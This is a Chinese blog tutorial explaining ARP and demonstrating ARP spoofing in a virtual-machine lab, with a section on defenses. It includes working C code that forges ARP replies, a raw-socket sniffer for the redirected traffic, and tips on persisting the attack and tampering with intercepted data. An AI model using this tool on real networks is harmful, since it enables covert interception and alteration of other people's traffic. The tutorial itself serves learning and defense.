ARP 原理以及 ARP 攻击与欺骗

分手后的思念是犯贱 2023-06-22 08:22 88阅读 0赞

文章目录

  • 前言
  • 什么是 ARP 协议?
  • ARP 攻击与 ARP 欺骗
  • 实战
    • 前期准备
      • 环境搭建
      • ARP 报文格式
    • 编写代码
    • 测试
    • 攻击者接收数据
  • 如何防止 ARP 攻击与 ARP 欺骗
    • 静态绑定 ARP
    • 使用 ARP 防火墙
    • 硬件级防御
  • 参考链接

前言

前段时间在学网络协议的时候,知道了有 ARP 攻击这么个东西,但是当时对 Linux 环境下的 C 语言编程不是很了解,一直没有机会实践一下。终于在最近学习了网络编程之后,才算是入门了一点点 Linux C 语言编程。于是乎,经过两天的研究,终于亲自试验了一把 ARP 攻击,纸上得来终觉浅,绝知此事要躬行~不废话了,下面就详细介绍一下我在虚拟机上实施 ARP 攻击的过程。

什么是 ARP 协议?

在同一个局域网中, 一个主机要想给另外一个主机发送消息,必须知道目标主机的 MAC 地址,但是在 TCP/IP 协议中,网络层和传输层只关心目标主机的 IP 地址,换言之,数据链路层拿到的报文中只包含目标主机的 IP 地址,他必须根据目标主机的 IP 地址找到相应的 MAC 地址,然后将消息发送出去。这个时候就需要用到 ARP 协议了。

ARP(英文:Address Resolution Protocol),翻译成中文是「地址解析协议」,是根据 IP 地址获取 MAC 地址的网络传输协议。现在我们假设局域网中有三台主机 A、B、C,他们的 IP 地址和 MAC 地址分别如下表所示:


























IP 地址 MAC 地址
A 192.168.133.1 00:50:56:C0:00:08
B 192.168.133.140 00:0C:29:B6:1E:5E
C 192.168.133.141 00:0C:29:80:44:D4

现在 A 想给 B 发一条消息,此时 A 只知道 B 的 IP 地址,不知道 B 的 MAC 地址,它就会向局域网中广播一条 ARP 请求消息,询问 B 的 MAC 地址。这相当于 A 在局域网中喊:谁知道 192.168.133.140 的 MAC 地址?知道的话告诉我一声。虽然局域网中其他主机都会收到这条消息,但是其他主机一看自己的 IP 地址不是 192.168.133.140,就不会搭理 A,只有 B 收到了这条消息后发现 A 是在询问自己的 MAC 地址,于是就会给 A 发送一条 ARP 应答消息,告诉 A 自己的 MAC 地址是 00:0C:29:B6:1E:5E。
ARP请求
ARP应答

A 收到 B 的 ARP 应答后,知道了 B 的 MAC 地址,就可以给 B 发送消息了。同时 A 会将 B 的MAC 地址保存下来,以便下次再给 B 发消息的时候使用,这个叫做 ARP 缓存,在 Windows 和 Linux 上都可以通过 arp -a 这条命令查看当前系统的 ARP 缓存。ARP 缓存有一定的有效期,不同的系统有效期不一样,过了有效期之后,当 A 需要再次给 B 发消息的时候,A 会重新广播 ARP 请求,来询问 B 的 MAC 地址。

ARP 攻击与 ARP 欺骗

以上讲的是正常的 ARP 请求-应答过程。如果大家都按照这个规则来,就会相安无事,可如果有人不按套路出牌,主动给 A 发送 ARP 应答呢?ARP 协议的漏洞就出现在这里,对于一个主机来说,不管他之前有没有发送过 ARP 请求,只要他收到了 ARP 应答,他就会把收到的 ARP 应答里面的 IP 地址和 MAC 地址的对应关系存到自己的 ARP 缓存里。

ARP 攻击与 ARP 欺骗就是基于这个漏洞进行的。很多人把 ARP 攻击和 ARP 欺骗混为一谈,其实这两个是有区别的。

假设现在主机 C 向 A 发送了一个 ARP 应答,告诉 A,IP 地址是 192.168.133.140(B 的 IP 地址) 的主机的 MAC 地址是 00:0C:29:80:44:D5(这个 MAC 地址不属于任何机器,是瞎写的),那么 A 给 B 发送数据的时候,报文里的 MAC 地址是一个无效的 MAC 地址,这样一来,A 发送的数据永远也到不了 B,如果 B 是网关的话,最终的效果就是 A 上不了网了。这就是 ARP 攻击。

假设现在主机 C 向 A 发送了一个 ARP 应答,告诉 A,IP 地址是 192.168.133.140(B 的 IP 地址) 的主机的 MAC 地址是 00:0C:29:80:44:D4(C 的 MAC 地址),那么 A 给 B 发送数据的时候,报文里的 MAC 地址就会写成 C 的 MAC 地址,这样一来,本来应该是发到 B 那里的消息,结果发到了 C 这里。这就是 ARP 欺骗。

如果实施 ARP 攻击,那么被攻击者是能感知到的(被攻击者之间无法通信,或者上不了网);而如果实施 ARP 欺骗,被攻击者是无法感知到的,并且通信数据还有泄露的风险。

下文中如无特殊说明,A 均指数据发送者,B 均指数据接收者,C 均指攻击者。
在这里插入图片描述

实战

前期准备

环境搭建

我的操作系统是 Windows,虚拟机软件用的是 VMware15,上面装了两台操作系统是 CentOS6.5 的虚拟机,虚拟机的网络连接模式选择 NAT 模式。我现在用 Windows 操作系统模拟 A,两台虚拟机分别模拟 B 和 C。

ARP 报文格式

在写代码之前,我们得先知道 ARP 报文的格式。ARP 报文格式如下:
在这里插入图片描述

该报文从左到右分别是:

以太网链路层

  • 目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。
  • 源以太网地址:发送方MAC地址。
  • 帧类型:以太类型,ARP为0x0806。

以太网报文数据

  • 硬件类型:如以太网(0x0001)、分组无线网。
  • 协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。
  • 硬件地址长度:每种硬件地址的字节长度,一般为 6(以太网)。
  • 协议地址长度:每种协议地址的字节长度,一般为 4(IPv4)。
  • 操作码:1 为 ARP 请求,2 为ARP 应答,3 为 RARP 请求,4 为 RARP 应答。
  • 源硬件地址:n 个字节,n 由硬件地址长度得到,一般为发送方 MAC 地址。
  • 源协议地址:m 个字节,m 由协议地址长度得到,一般为发送方 IP 地址。
  • 目标硬件地址:n 个字节,n 由硬件地址长度得到,一般为目标 MAC 地址。
  • 目标协议地址:m 个字节,m 由协议地址长度得到,一般为目标 IP 地址。

编写代码

首先是发送 ARP 应答的代码:

  1. //Filename: send_arp.c
  2. #include <stdio.h>
  3. #include <ctype.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <errno.h>
  7. #include <netdb.h>
  8. #include <net/if.h>// struct ifreq
  9. #include <sys/ioctl.h> // ioctl、SIOCGIFADDR
  10. #include <sys/socket.h>
  11. #include <arpa/inet.h>
  12. #include <linux/if_ether.h>
  13. #include <netpacket/packet.h> // struct sockaddr_l
  14. #define ETH_HW_ADDR_LEN 6
  15. #define IP_ADDR_LEN 4
  16. #define ARP_FRAME_TYPE 0x0806
  17. #define ETHER_HW_TYPE 1
  18. #define IP_PROTO_TYPE 0x0800
  19. #define OP_ARP_REQUEST 2
  20. #define DEFAULT_DEVICE "eth0"
  21. struct arp_packet {
  22. u_char targ_hw_addr[ETH_HW_ADDR_LEN];
  23. u_char src_hw_addr[ETH_HW_ADDR_LEN];
  24. u_short frame_type;
  25. u_short hw_type;
  26. u_short prot_type;
  27. u_char hw_addr_size;
  28. u_char prot_addr_size;
  29. u_short op;
  30. u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
  31. u_char sndr_ip_addr[IP_ADDR_LEN];
  32. u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
  33. u_char rcpt_ip_addr[IP_ADDR_LEN];
  34. u_char padding[18];
  35. };
  36. void die(char*);
  37. void get_ip_addr(struct in_addr*, char*);
  38. void get_hw_addr(char*, char*);
  39. int main(int argc, char** argv)
  40. {
  41. struct in_addr src_in_addr,targ_in_addr;
  42. struct arp_packet pkt;
  43. struct sockaddr_ll sa;
  44. struct ifreq req;
  45. int sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  46. if (sock < 0) {
  47. printf("Initial raw socket failed");
  48. return -1;
  49. }else
  50. printf("%d\n", sock);
  51. pkt.frame_type = htons(ARP_FRAME_TYPE);
  52. pkt.hw_type = htons(ETHER_HW_TYPE);
  53. pkt.prot_type = htons(IP_PROTO_TYPE);
  54. pkt.hw_addr_size = ETH_HW_ADDR_LEN;
  55. pkt.prot_addr_size = IP_ADDR_LEN;
  56. pkt.op=htons(OP_ARP_REQUEST);
  57. get_hw_addr(pkt.targ_hw_addr,argv[4]);
  58. get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
  59. get_hw_addr(pkt.src_hw_addr,argv[2]);
  60. get_hw_addr(pkt.sndr_hw_addr,argv[2]);
  61. get_ip_addr(&src_in_addr,argv[1]);
  62. get_ip_addr(&targ_in_addr,argv[3]);
  63. memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
  64. memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
  65. bzero(pkt.padding,18);
  66. strncpy(req.ifr_name, DEFAULT_DEVICE, IFNAMSIZ); //指定网卡名称
  67. if(-1 == ioctl(sock, SIOCGIFINDEX, &req)) //获取网络接口
  68. {
  69. perror("ioctl");
  70. close(sock);
  71. exit(-1);
  72. }
  73. /*将网络接口赋值给原始套接字地址结构*/
  74. bzero(&sa, sizeof(sa));
  75. sa.sll_ifindex = req.ifr_ifindex;
  76. int res = sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sizeof(sa));
  77. printf("res: %d\n", res);
  78. if(res < 0){
  79. perror("sendto");
  80. exit(1);
  81. }
  82. exit(0);
  83. }
  84. void die(char* str){
  85. fprintf(stderr,"%s\n",str);
  86. exit(1);
  87. }
  88. void get_ip_addr(struct in_addr* in_addr,char* str){
  89. struct hostent *hostp;
  90. in_addr->s_addr=inet_addr(str);
  91. if(in_addr->s_addr == -1){
  92. if( (hostp = gethostbyname(str)))
  93. bcopy(hostp->h_addr,in_addr,hostp->h_length);
  94. else {
  95. fprintf(stderr,"send_arp: unknown host %s\n",str);
  96. exit(1);
  97. }
  98. }
  99. }
  100. void get_hw_addr(char* buf,char* str){
  101. int i;
  102. char c,val;
  103. for(i=0;i<ETH_HW_ADDR_LEN;i++){
  104. if( !(c = tolower(*str++))) die("Invalid hardware address");
  105. if(isdigit(c)) val = c-'0';
  106. else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  107. else die("Invalid hardware address");
  108. *buf = val << 4;
  109. if( !(c = tolower(*str++))) die("Invalid hardware address");
  110. if(isdigit(c)) val = c-'0';
  111. else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  112. else die("Invalid hardware address");
  113. *buf++ |= val;
  114. if(*str == ':')str++;
  115. }
  116. }

假设 A 是数据发送方,B 是数据接收方,C 是攻击者,C 想窃取 A 发送给 B 的数据,那么 C 运行这个程序需要 4 个参数,分别是:B 的 IP 地址,C 的 MAC 地址,A 的 IP 地址,A 的 MAC 地址。在上面那个例子中,就是:

  1. ./send_arp.out 192.168.133.140 00:0C:29:80:44:D4 192.168.133.1 00:50:56:C0:00:08

这个程序运行完之后,A 给 B 发送的数据就会发送到 C 这里。

测试

首先写一个 UDP 的客户端,运行在 A 上,负责发送数据:

  1. #我的 Windows 系统上安装的是 Python3,所以这个 UDP 的客户端是用 Python3 写的
  2. import socket
  3. address = ('192.168.133.140', 31500)
  4. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  5. msg = input()
  6. s.sendto(msg.encode('utf-8'), address)
  7. s.close()

然后写一个 UDP 的服务端,运行在 B 和 C 上,负责接收数据:

  1. #!/usr/bin/python
  2. #这个是在 CentOS 上运行的,CentOS默认安装了 Python2,没有安装 Python3(我懒得安装了),所以就用 Python2 写了这个 UDP 服务端
  3. import socket
  4. address = ('', 31500)
  5. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  6. s.bind(address)
  7. while True:
  8. data, addr = s.recvfrom(2048)
  9. if not data:
  10. print "client has exist"
  11. break
  12. print "received:", data, "from", addr
  13. s.close()

在没有运行 send_arp 之前,A 的 ARP 缓存如下:
在这里插入图片描述

A 发送给 B 的消息能够正常送达。
在这里插入图片描述

在主机 B 上运行 send_arp 之后,A 的 ARP 缓存发生了变化:
在这里插入图片描述

而且 A 发送给 B 的消息也无法送达了。

但是如果这个时候你在 C 上运行 UDP 服务端,你会发现 C 也收不到 A 发送的消息。
在这里插入图片描述
这是怎么回事呢?其实这个时候 A 发送的消息是到达了 C 的,只不过这个消息在经过网络层的时候被丢弃了。要想把这件事解释清楚,就不得不提到 TCP/IP 的四层网络模型。大家都知道,TCP/IP 的四层网络模型自下而上包括:网络接口层、网际层、传输层、应用层,主机发送消息时,是从上往下发,每经过一层,都要在消息体前面加上当前层的报头信息。比如经过网际层时,要在消息体前面加上源 IP 地址和目标 IP 地址等信息,经过网络接口层时,要在消息体前面加上源 MAC 地址和目标 MAC 地址等信息。

主机接收消息时,正好反过来,是从下往上接收。网络接口层最先收到消息,然后他会验证消息头的目标 MAC 地址是否是本机的 MAC 地址,如果是,就将消息发送给上一层,也就是网际层。网际层收到消息后,会验证目标 IP 地址是否是本机的 IP 地址,如果是,就将消息发送给传输层,否则就丢弃。
在这里插入图片描述

C 接受到的 A 发送过来的消息结构大概是这样的:
在这里插入图片描述
当这个消息经过网际层的时候,网际层发现这个消息的目标 IP 地址是 192.168.133.140,而当前主机的 IP 地址是 192.168.133.141,所以就把这个消息丢弃了。我们用 Python 写的 UDP 服务端是工作于应用层的程序,应用层的数据来自传输层,但是数据在网际层就被丢弃了,所以没有显示出来。

攻击者接收数据

既然应用层程序接收不到数据,我们就要用原始套接字直接接收网络接口层的数据,然后再从中解析有用的数据。下面是接收数据程序代码:

  1. //Filename: recv.c
  2. #include <stdio.h>
  3. #include <netinet/in.h>
  4. #include <sys/socket.h>
  5. #include <netinet/ether.h>
  6. #define IP_ADDR_LEN 4
  7. unsigned char src_ip_addr[IP_ADDR_LEN] = {
  8. 192, 168, 133, 1};
  9. unsigned char dst_ip_addr[IP_ADDR_LEN] = {
  10. 192, 168, 133, 140};
  11. void print_ip_addr(char*);
  12. int ipcmp(char*, char*);
  13. int main(int argc,char *argv[])
  14. {
  15. unsigned char buf[1024] = {
  16. 0};
  17. //初始化原始套接字
  18. int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  19. printf("sock_fd: %d\n", sock_raw_fd);
  20. if (sock_raw_fd < 0)
  21. return -1;
  22. //获取链路层的数据包
  23. while(1){
  24. int len = recvfrom(sock_raw_fd, buf, sizeof(buf), 0, NULL, NULL);
  25. if (len == -1)
  26. break;
  27. //如果第 24 个字节是 0x11,说明是 UDP 报文
  28. if (len >= 24 && buf[23] == 0x11){
  29. //获取报文中的源 IP 地址和目标 IP 地址。与我们要拦截的 IP 地址进行对比
  30. if (ipcmp(buf+26, src_ip_addr) == 0 && ipcmp(buf+30, dst_ip_addr) == 0){
  31. printf("Length = %d\n", len);
  32. printf("Received:\n");
  33. int i = 0;
  34. while (len > i){
  35. printf("%x ", buf[i]);
  36. if (i % 8 == 7) printf(" ");
  37. if (i % 16 == 15) printf("\n");
  38. i++;
  39. }
  40. printf("\n");
  41. printf("Source: ");
  42. print_ip_addr(buf+26);
  43. printf("Destination: ");
  44. print_ip_addr(buf+30);
  45. printf("UDP data: ");
  46. //打印消息体
  47. i = 42;
  48. while (len > i){
  49. printf("%c", buf[i]);
  50. i++;
  51. }
  52. printf("\n\n");
  53. }
  54. }
  55. }
  56. return 0;
  57. }
  58. void print_ip_addr(char* buf){
  59. int i = 0;
  60. for (i = 0; i < IP_ADDR_LEN; ++i) {
  61. printf("%d", buf[i] & 0x000000ff);
  62. if (i+1 != IP_ADDR_LEN){
  63. printf(".");
  64. } else {
  65. printf("\n");
  66. }
  67. }
  68. }
  69. int ipcmp(char* buf, char* ip_addr){
  70. int i = 0;
  71. for (i = 0; i < IP_ADDR_LEN; ++i) {
  72. if (buf[i] != ip_addr[i]){
  73. return -1;
  74. }
  75. }
  76. return 0;
  77. }

下面是用 recv 接收数据的效果:
在这里插入图片描述

为了方便,我在实验过程中做了几点简化:

  • ARP 缓存有效期问题

    我们在实验过程中,只发起了一次 ARP 攻击。在文章开头介绍 ARP 的时候我提到了 ARP 缓存有效期,事实上,ARP 攻击正是利用了 ARP 缓存。C 发起 ARP 攻击之后,A 的 ARP 缓存中存在着一条错误的「IP 地址 - MAC 地址」对应关系,但是当有效期过了之后,这个缓存就失效了,C 需要再次发起 ARP 攻击。如果你想达到长期欺骗的效果,应该改写一下 send_arp.c,让它每隔一定的时间就发送一次 ARP 应答,使目标主机更新自己的 ARP 缓存。

  • 数据处理方式

    1. 我在 recv.c 中选择了只接收源 IP 地址是 192.168.133.1,目标 IP 地址是 192.168.133.140 的 UDP 报文,理论上,在实施 ARP 攻击之后,A 发送给 B 的一切数据都会发送到 C 这里,无论是 UDP 还是 TCP,感兴趣的读者可以自行对 recv.c 进行更改,拦截其他数据。
    2. 在我写的 recv.c 中,拦截数据之后只是简单地打印出来,实际上这样做的话 B 会很快发现自己收不到 A 的数据了,从而发现隐藏的攻击者。根据不同的目的,我们在拦截数据之后,可以选择不同的处理方式,比如将数据再次转发给 C(甚至可以做一些篡改再转发)。

除了上述的几点简化,本次实验还有有待完善的地方。仔细观察你会发现,A 在局域网中其实是一个网关。在实验过程中,我尝试过把 C 的攻击对象改为 B,也就是让 B 认为 A 的 MAC 地址是 00:0C:29:80:44:D4,然后查看 B 的 ARP 缓存,发现攻击生效了。但是当 B 给 A 发送数据的时候,我发现 A 仍能接收到 B 发送的数据。这一点我始终没想明白是为什么,为什么攻击网关可以生效,而攻击局域网中的其他主机不能生效呢?希望知道真相的读者可以为我指点迷津,谢谢!

如何防止 ARP 攻击与 ARP 欺骗

静态绑定 ARP

使用命令arp -s IP地址 Mac地址可以静态绑定 IP 地址与 Mac 地址的对应关系。使用静态绑定之后,无论别人怎么想你发送 ARP 应答,你都会无动于衷。
比如在主机 B 中执行命令:

  1. arp -s 192.168.133.1 00:50:56:C0:00:08

那么在他的 ARP 缓存表里面,A 的 Mac 地址一直都是 00:50:56:C0:00:08。

但是静态绑定 ARP 有两个缺点:

  1. 静态绑定的 ARP 是保存在内存中的,一旦关机就没有了。除非把静态绑定 ARP 的命令写到一个脚本里,并设置成开机运行,这样每次开机都会自动绑定。
  2. 一般来说,局域网内的主机的 IP 地址不是固定的,而是会有变化。A 的 IP 今天是 192.168.133.1,明天是 192.168.133.2,怎么弄?如果局域网内有 100 个主机呢,难道还要每天挨个去问每个主机的 IP 地址是多少,然后再去做静态绑定吗?

所以静态绑定 ARP 理论上可行,但是没啥操作性。

使用 ARP 防火墙

ARP 防火墙的原理也很简单,你 ARP 攻击和 ARP 欺骗不是给别人发送无效的或者虚假的 Mac 地址吗?那我就发送正确的 Mac 地址,你 1 秒钟发 5 此,那我就 1 秒钟发 10 次,让其他人的 ARP 缓存里始终保存我正确的 Mac 地址。

但是这样的话,局域网内的数据通信量就会激增,造成网络拥堵,甚至瘫痪。所以这种方法一般用的也很少。

硬件级防御

之所以叫硬件级防御,是因为这种防御方式要用到交换机,而且还不是一般的交换机,必须是企业级的带 ARP 防御功能的交换机。所以这种防御方式是要花钱的。

这种交换机要求局域网内要有 DHCP 服务器,而且局域网内的主机的 IP 都是 DHCP 服务器分配的。他的原理是这样的:

首先,当你用网线把一台电脑和交换机连起来的时候,电脑做的第一件事一般都是在局域网内广播一个 DHCP Discover 包,请求 IP 地址。这个包中会包含自己的 Mac 地址,假如说这个电脑的 Mac 地址是 AA(为了方便说明,这里简化一下),连接的是交换机的 1 号网口,那么交换机就会在 Mac 地址表中记住,1 号网口对应的 Mac 地址是 AA。

经过一系列的协商(此处省略 DHCP 的交互过程),当 DHCP 服务器发送 Ack 包的时候(也就是说最终确定了电脑的 IP 地址),交换机会将 ACK 包的 IP 地址解析出来,并建立其与 AA 的对应关系。

假如这台电脑发送 ARP 应答,交换机会判断应答包中的 IP 地址和 Mac 地址是不是这台电脑的,如果不是,则交换机就不会予以转发,更高级的交换机,甚至可以直接将该电脑所在的网口关闭,使之上不了网。

参考链接

  1. https://zh.wikipedia.org/wiki/地址解析协议
  2. ARP and ICMP redirection games
  3. Linux网络编程——原始套接字编程
  4. https://www.bilibili.com/video/BV147411h7dN?p=69

发表评论

表情:
评论列表 (有 0 条评论,88人围观)

还没有评论,来说两句吧...

相关阅读

    相关 ARP攻击/欺骗

    ARP攻击/欺骗 所谓ARP攻击/欺骗,就是伪造IP和MAC地址进行的攻击或者欺骗。攻击者通过持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条